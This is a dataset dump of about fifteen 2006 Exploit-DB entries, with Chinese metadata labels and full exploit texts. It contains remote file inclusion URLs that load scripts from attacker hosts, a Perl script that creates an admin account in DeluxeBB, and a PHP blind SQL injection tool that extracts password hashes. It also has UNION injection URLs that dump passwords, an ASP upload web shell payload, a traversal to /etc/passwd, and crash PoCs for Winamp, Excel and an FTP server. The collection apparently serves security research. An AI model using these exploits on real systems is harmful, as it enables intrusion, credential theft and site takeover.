QLWD/code_shield huggingface dataset:
标题: MagNet BeeHive CMS (header) - Remote File Inclusion EDB-ID: 1951 CVE: 2006-3266 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-25 漏洞利用脚本: ---------------------------------------------------------------------------
Beehive CMS ([header]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Beehive CMS
version : latest version
URL : http://products.magnet-i.com/show/beehive/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $header not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/conad/include/rootGui.inc.php?header=[evil_script]
# http://www.site.com/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/login.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/logout.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/include/listall.inc.php?mysqlcall=[evil_script]
# http://www.site.com/[path]/show/index.php?prefix=[evil_script]
# http://www.site.com/[path]/conad/include/mysqlCall.inc.php?config=[evil_script]
# http://www.site.com/[path]/include/rootGui.inc.php?header=[evil_script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~~

declare variabel $header
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~
Nick: Kw3rLN
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-25] URL: https://www.exploit-db.com/exploits/1951
标题: RsGallery2 < 1.11.2 - 'rsgallery.html.php' File Inclusion EDB-ID: 1959 CVE: 2006-6962 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-28 漏洞利用脚本: RsGallery2 for Joomla
---------------------------------------------------------------------------

Discovered: marriottvn
Remote : Yes
Level : High

---------------------------------------------------------------------------
Affected software description :

Application : RsGallery2
version : latest version [ 1.11.2 ]
Description: component for joomla
URL: http://rsdev.nl

----------------------------------------------------------------------------

Vulnerable file :

rsgallery2.html.php

----------------------------------------------------------------------------

Exploit:

http://[sitepath]/[joomlapath]/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=http://[attacker]

----------------------------------------------------------------------------

Fix:

1.Declare variabel $mosConfig_absolute_path

or

2.Add into the top function:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

----------------------------------------------------------------------------

Contact:

Nick: marriottvn
E-mail: i_love_lonely_girl[at]yahoo.com
Web: http://vnsecurity.com

Greetz to: VnRekcah

# milw0rm.com [2006-06-28] URL: https://www.exploit-db.com/exploits/1959
标题: DeluxeBB 1.07 - Remote Create Admin EDB-ID: 1953 CVE: 2006-3304 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-25 漏洞利用脚本: #!/usr/bin/perl
# DeluxeBB <= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket; 
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;
 
 print q(
 ###########################################################
 #          DeluxeBB <= 1.07 Create Admin Exploit          # 
 #           www.hackerz.ir - www.h4ckerz.com              #
 ################### Coded By Hessam-x #####################

);


 
 if (@ARGV < 3) {
 print " #  usage : hx.pl [host&path] [uname] [pass]\n"; 
 print " #  E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n"; 
  exit();
 }
 
  
    print " [~] User/Password : $uname/$passwd \n";
    print " [~] Host : $host \n";
    print " [~] Login ... ";



 # Login In DeluxeBB <= 1.07 Create Admin Exploit
 
 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );
 $res = $xpl->post($url.'misc.php',
 Content => [
 "sub" => "login",
 "name" => "$uname",
 "password" => "$passwd",
 "submit" => "Log-in",
 "redirect" => "",
 "expiry" => "990090909",
 ],);
 
  if($cookie_jar->as_string =~ /memberpw=(.*?);/) { 
  print "successfully .\n";
  } else { 
  print "UNsuccessfully !\n";
  print " [-] Can not Login In $host !\n"; 
  print $cookie_jar->as_string;
  exit(); 
  }

  # Creat Admin :)

$req = $xpl->get($url.'cp.php?sub=settings&xemail=h4x0r@h4x0r.net&xhideemail=0&xmsn=h4x0r\',membercode=\'5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12&invisiblebrowse=0&markposts=15&submit=Update');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin Cp/) { 
print " [+] You Are Admin Now !!";
} else {
    print " [-] Exploit Failed !";
    }

# milw0rm.com [2006-06-25] URL: https://www.exploit-db.com/exploits/1953
标题: XM Easy Personal FTP Server 5.0.1 - 'Port' Remote Overflow (PoC) EDB-ID: 1949 CVE: 2006-6750 类型: DOS 平台: WINDOWS 发布日期: 2006-06-24 漏洞利用脚本: #!/usr/bin/perl

# -----------------------------------------------------------
# Name        : XM Easy Personal FTP Server
# Version     : 5.0.1
# -----------------------------------------------------------
# Type        : dos / remote
# Multiple buffer overflows
# Port and multiple commands with A%n, ...
# -----------------------------------------------------------
# Jerome Athias - https://www.securinfos.info
# -----------------------------------------------------------

use Net::FTP;

$host = @ARGV[0];

if ($host)
{
   print "\n- XM Easy Personal FTP Server 5.0.1 - PoC DoS Exploit\n-
Jerome Athias\nhttps://www.securinfos.info";
   $ftp = Net::FTP->new($host, Debug => 0);
   $ftp->login('test','test'); #Maybe anonymous works ;-)
   $ftp->port("\x41\x25\x6E"x9999);
}
else {
   print "\n- XM Easy Personal FTP Server 5.0.1 - PoC DoS Exploit\n-
Jerome Athias\nhttps://www.securinfos.info\n\n- Usage: $0 host\n";
}

# milw0rm.com [2006-06-24] URL: https://www.exploit-db.com/exploits/1949
标题: THoRCMS 1.3.1 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 1952 CVE: 2006-3269 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-25 漏洞利用脚本: --------------------------------------------------------------------------- 
THoRCMS <= 1.3.1 ([phpbb_root_path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : THoRCMS
version : latest version [ 1.3.1 ]
Description: A CMS/Portal for phpBB
URL : http://www.phpbbhacks.com/download/2349

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $phpbb_root_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script]


---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-25] URL: https://www.exploit-db.com/exploits/1952
标题: Mambo Module CBSms 1.0 - Remote File Inclusion EDB-ID: 1955 CVE: 2006-3294 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-26 漏洞利用脚本: ---------------------------------------------------------------------------
CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CBSMS Mambo Module
version : latest version [ 1.0 ]
URL : http://mamboxchange.com/frs/?group_id=988&release_id=3622

------------------------------------------------------------------

Exploit:
~~~~~~~~

Variable $mosConfig_absolute_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~~

declare variabel $mosConfig_absolute_path
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLN
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-26] URL: https://www.exploit-db.com/exploits/1955
标题: Harpia CMS 1.0.5 - Remote File Inclusion EDB-ID: 1943 CVE: 2006-7024 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: ---------------------------------------------------------------------------
Harpia CMS <= 1.0.5 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Harpia
version : LATEST VERSION 1.0.5
URL : http://sourceforge.net/projects/harpia

------------------------------------------------------------------
Exploit:
~~~~~~~

http://www.site.com/preload.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls
http://www.site.com/index.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls
http://www.site.com/missing.php?header_prog=[Evil_Script]
http://www.site.com/_inc/footer.php?theme_root=[Evil_Script]
http://www.site.com/_inc/header.php?mod_root=[Evil_Script]
http://www.site.com/_inc/header.php?theme_root=[Evil_Script]
http://www.site.com/_inc/pfooter.php?theme_root=[Evil_Script]
http://www.site.com/_inc/pheader.php?theme_root=[Evil_Script]
http://www.site.com/_inc/web_statsConfig.php?mod_dir=[Evil_Script]
http://www.site.com/_inc/web_statsConfig.php?php_ext=[Evil_Script]
http://www.site.com/_mods/email.php?header_prog=[Evil_Script]
http://www.site.com/_mods/files.php?header_prog=[Evil_Script]
http://www.site.com/_mods/files.php?footer_prog=[Evil_Script]
http://www.site.com/_mods/headlines.php?header_prog=[Evil_Script]
http://www.site.com/_mods/search.php?header_prog=[Evil_Script]
http://www.site.com/_mods/topics.php?header_prog=[Evil_Script]
http://www.site.com/_mods/users.php?header_prog=[Evil_Script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~

declare variabels

---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick : Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-22] URL: https://www.exploit-db.com/exploits/1943
标题: SmartSite CMS 1.0 - 'root' Remote File Inclusion EDB-ID: 1936 CVE: 2006-3421 2006-3162 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: # smartsite cms <= 1.0 Remote File Inclusion
#
# Contact : irc.gigachat.net #ir4dex
# Risk : High
# Class : Remote
# Script : smartsite cms
# Version : not specified
# URL: http://www.smartsitecms.net/
---------------------------------------------------------------------

Vulnerable code :

require($root . "include/inc_foot.php");

---------------------------------------------------------------------

http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker]

by Archit3ct and IR4DEX GROUP

Greetz: Darkfire

# milw0rm.com [2006-06-20] URL: https://www.exploit-db.com/exploits/1936
标题: ASP Stats Generator 2.1.1 - SQL Injection EDB-ID: 1931 CVE: 2006-3580 2006-3184 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-19 漏洞利用脚本: /*------------------------------------------------
  IHS Public advisory 
-------------------------------------------------*/

ASP Stats Generator SQL-ASP injection - Code Excution 
ASP Stats Generator is a powerful website counter, completely written in ASP programming language.
The application is able to track web site activity generating graphical and statistical reports.
It combines a server side class with a javascript system to get a wide range of visitors' details.
http://www.weppos.com

Credit:
The information has been provided by Hamid Ebadi (IHS : IRAN HOMELAND SECURITY)
The original article can be found at: 

http://www.IHSteam.com
http://www.hamid.ir/security/


Vulnerable Systems:
ASP Stats Generator 2.1.1 - 2.1 and below

SQL injection :

Example :
The following URL can be used to trigger an SQL injection vulnerability in the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1

Microsoft JET Database Engine error '80040e14' 
Syntax error in string in query expression 'SUM(Visits) ''. 
/myasg/pages.asp, line 236 

Exploit :

http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from tblst_config&mese=1


ASP Code Injection  :
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"  isn't properly sanitised before being stored in the "inc_skin_file.asp".
This can be exploited to inject  arbitrary ASP code.

Exploit :

#F9F9F9" : dim path,hstr, mpath, content, filename: mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content = request("content"): filename = request("filename"): on error resume next: Dim objFSO,f: Set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): if not filename = "" then: response.Write( "Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path = filename: end if: if not content="" then: response.Write( "Contented.<BR>" ): set f = objFSO.CreateTextFile( path ): response.Write( err.Description & "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>" ): f.close: end if %><%=filename%><BR><%=path%><BR><%= Request("path") %><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1" ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content" rows="15" cols="46" ><%=content%>&lt;/textarea&gt;</TD></TR><TR><TD><P align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text" name="filename" value="<%=filename%>" ></P><P align="center"><INPUT type="submit" value="Upload" ID="Submit1" NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error goto 0: hstr = "
[m.r.roohian]
attacker can upload  "cmd.asp" with this uploader and ...


Solution:
use ASP Stats Generator v2.1.2 (18/06/2006 )

# milw0rm.com [2006-06-19] URL: https://www.exploit-db.com/exploits/1931
标题: ralf image Gallery 0.7.4 - Multiple Vulnerabilities EDB-ID: 1942 CVE: 2007-4127 2006-3210 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: Title: Ralf Image Gallery <= 0.7.4 - Multiple Remote File Include and directory
traversal Vulnerabilities
-----------------------------------------------------------------
Vendor: RIG is developed and maintained by Le R'alf
URL: http://rig.powerpulsar.com/
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------

Exploitation:
-----------------------------------------------------------------

/check_entry.php?dir_abs_src=http://www.yourspace.com/yourscript.php?
/check_entry.php?dir_abs_src=../../../../../../../../../etc/passwd%00
/admin_album.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_image.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_translate.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-22] URL: https://www.exploit-db.com/exploits/1942
标题: Winamp 5.21 - '.Midi' File Header Handling Buffer Overflow (PoC) EDB-ID: 1935 CVE: 2006-3228 类型: DOS 平台: WINDOWS 发布日期: 2006-06-20 漏洞利用脚本: /*
 
 * ********************************************** *
 * Winamp 5.21 - Midi Buffer Overflow in_midi.dll *
 * ********************************************** *
 * PoC coded by: BassReFLeX                       *
 * Date: 19 Jun 2006                              *
 * ********************************************** *
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

char header[] = "\x4D\x54\x68\x64\x00\x00"
                "\x00\x06\x00\x00\x00\x01"
                "\x00\x60\x4D\x54\x72\x6B"
                "\x00\x00";

char badc0de[] = "\xFF\xFF\xFF\xFF\xFF\xFF"
   "\xFF\xFF\xFF\xFF\xFF\xFF";
    
     
     
int main(int argc,char* argv[])
{
    system("cls");
    printf("\n* ********************************************** *");
    printf("\n* Winamp 5.21 - Midi Buffer Overflow in_midi.dll *");
    printf("\n* ********************************************** *");
    printf("\n* PoC coded by: BassReFLeX                       *");
    printf("\n* Date: 19 Jun 2006                              *");
    printf("\n* ********************************************** *");
    
    if ( argc!=2 )
    {
        usage(argv[0]);
    }
    
    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
        printf("\nFile couldn't open!");
        exit(1);
    }
    
                        
    printf("\n\nWriting crafted .mid file...");
    fwrite(header,1,sizeof(header),f);
    fwrite(badc0de,1,sizeof(badc0de),f);
    printf("\nFile created successfully!");
    printf("\nFile: %s",argv[1]);
    return 0;
}        

void usage(char* file)
{
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .mid crafted file. Example: winsploit.exe craftedsh1t.mid");
    exit(1);
}    

// milw0rm.com [2006-06-20] URL: https://www.exploit-db.com/exploits/1935
标题: DataLife Engine 4.1 - SQL Injection EDB-ID: 1939 CVE: 2006-3221 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-21 漏洞利用脚本: <?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+========================================+
| RST/GHC Datalife SQL injection exploit |
+========================================+
<    >  Lite Version for DLE <=4.1  <    >
';

if ($argc < 2 ){
print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
credits();
exit;
}

//DEFINE USER ID
$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
$result = file_get_contents($urla);
$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
$position = strpos($result, $str1);

if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
$str2 = '">';
$pos = strpos($result, $str2, $position);
$pos1 = $position+5;
$user_id = intval(substr($result, $pos1, $pos-$pos1));

print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";

//SOME defines (aka CONFIG =))
if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
else {$prefix = $argv[3];}
$min = 48;  # 0
$max = 122; # z
if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
for ($sn=1; $sn <= 32; $sn++) {
   blind($sn, $min, $max);
}
credits();


// REQUEST function
function check($crcheck, $sn)
{
   global $argv, $user_id, $prefix;
$host   = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
$name = $argv[2]; #user name
$query  = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #

$http = $host . $query;
#DEBUG
#print $http . "\n";
 $result = file_get_contents($http);
 
 // checking the answer
 $string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
 
   if (eregi($string, $result)) { return 1; }

 return 0;
}

//range function
function blind($sn, $fmin, $fmax)
{
 if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
 $compare = intval($fmin + ($fmax-$fmin)/2);
 $crcheck = ">". $compare;
 if ( check($crcheck, $sn) == 1 ) {
    blind($sn, $compare, $fmax);
    }
 else {
    blind($sn, $fmin, $compare+1); }
}

//brute function
function crack($cmin, $cmax, $sn)
{
 for ($i=$cmin; $i <=$cmax; $i++){
   $crcheck = "=$i";
   if (check($crcheck, $sn) == 1){print chr($i); return 1;}
 }
return 0;
}


function credits(){
print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
exit;
}

?>

# milw0rm.com [2006-06-21] URL: https://www.exploit-db.com/exploits/1939
标题: Microsoft Excel - Unicode Local Overflow (PoC) EDB-ID: 1927 CVE: 2006-3086 类型: DOS 平台: WINDOWS 发布日期: 2006-06-18 漏洞利用脚本: ###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spreadsheet::WriteExcel;

   my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

   $worksheet = $workbook->add_worksheet();

   $format = $workbook->add_format();
   $format->set_bold();
   $format->set_color('red');
   $format->set_align('center');

   $col = $row = 5;
   $worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format);

   $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
   $worksheet->write_url(0, 0, "$a", "LINK");

# milw0rm.com [2006-06-18] URL: https://www.exploit-db.com/exploits/1927
标题: WeBBoA Host Script 1.1 - SQL Injection EDB-ID: 1930 CVE: 2006-3213 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-19 漏洞利用脚本: # There is Sql injection WeBBoA Host Script v1.1
# Risk=High
 
# Exploit:
http://[SITE]/?islem=host_satin_al&id=-1%20%20union%20select%200,1,2,kul_adi,4,5,6,7,sifre%20from%20members+where+uye_id=1
 
# Credit: EntriKa

# milw0rm.com [2006-06-19] URL: https://www.exploit-db.com/exploits/1930